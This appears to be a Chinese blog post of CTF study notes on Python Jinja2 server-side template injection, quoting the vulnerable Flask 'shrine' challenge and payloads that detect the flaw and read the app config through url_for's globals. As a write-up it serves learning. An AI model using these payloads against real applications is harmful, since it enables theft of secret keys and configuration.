Python考点/SSTI注入
本文最后更新于76 天前,其中的信息可能已经过时,如有错误请发送邮件到495896243@qq.com

#PY反编译-PYC编译文件反编译源码

SSTI模板注入(Python+Jinja2) – 先知社区 (aliyun.com)

pyc文件是py编译后生成的字节码文件

平台:

tool.li/pyc/   
//获取py源码

什么是SSTI?

SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,它出现在使用模板引擎的Web应用程序中。模板引擎是一种将动态数据与静态模板结合生成最终输出的工具。然而,如果在构建模板时未正确处理用户输入,就可能导致SSTI漏洞的产生。

sql注入的成因是:当后端脚本语言进行数据库查询时,可以构造输入语句来进行拼接,从而实现恶意sql查询。

SSTI与其相似,服务端将输入作为web应用模板内容的一部分,在进行目标编译渲染的过程中,拼接了恶意语句,因此造成敏感信息泄露、远程命令执行等问题。

模板文件+数据–>模板引擎–>html文件

{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div> 
{%% endblock %%}

控制s参数,写入攻击代码

 

#SSTI考点-CTFSHOW-{WesternCTF}shrine

1.源码分析SSTI考点

2.测试判断SSTI存在

3.分析代码过滤和flag存储

4.利用flask两个函数利用获取

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
      s = s.replace('(', '').replace(')', '')
      blacklist = ['config', 'self']
      return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__=='__main__':
     app.run(debug=True)

过滤括号

 

url/shrine/%7B%7B2-2%7D%7D
可以判断存在ssti,然后去想办法绕过过滤即可

url_for方法:返回试图函数对应的url

/shrine/{{url_for.__globals_}} 获取全局变量

/shrine/{{url_for.__globals__[‘current_app’].config}} 获取全局变量

get_flashed_messages():获取传递过来的数据

 

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇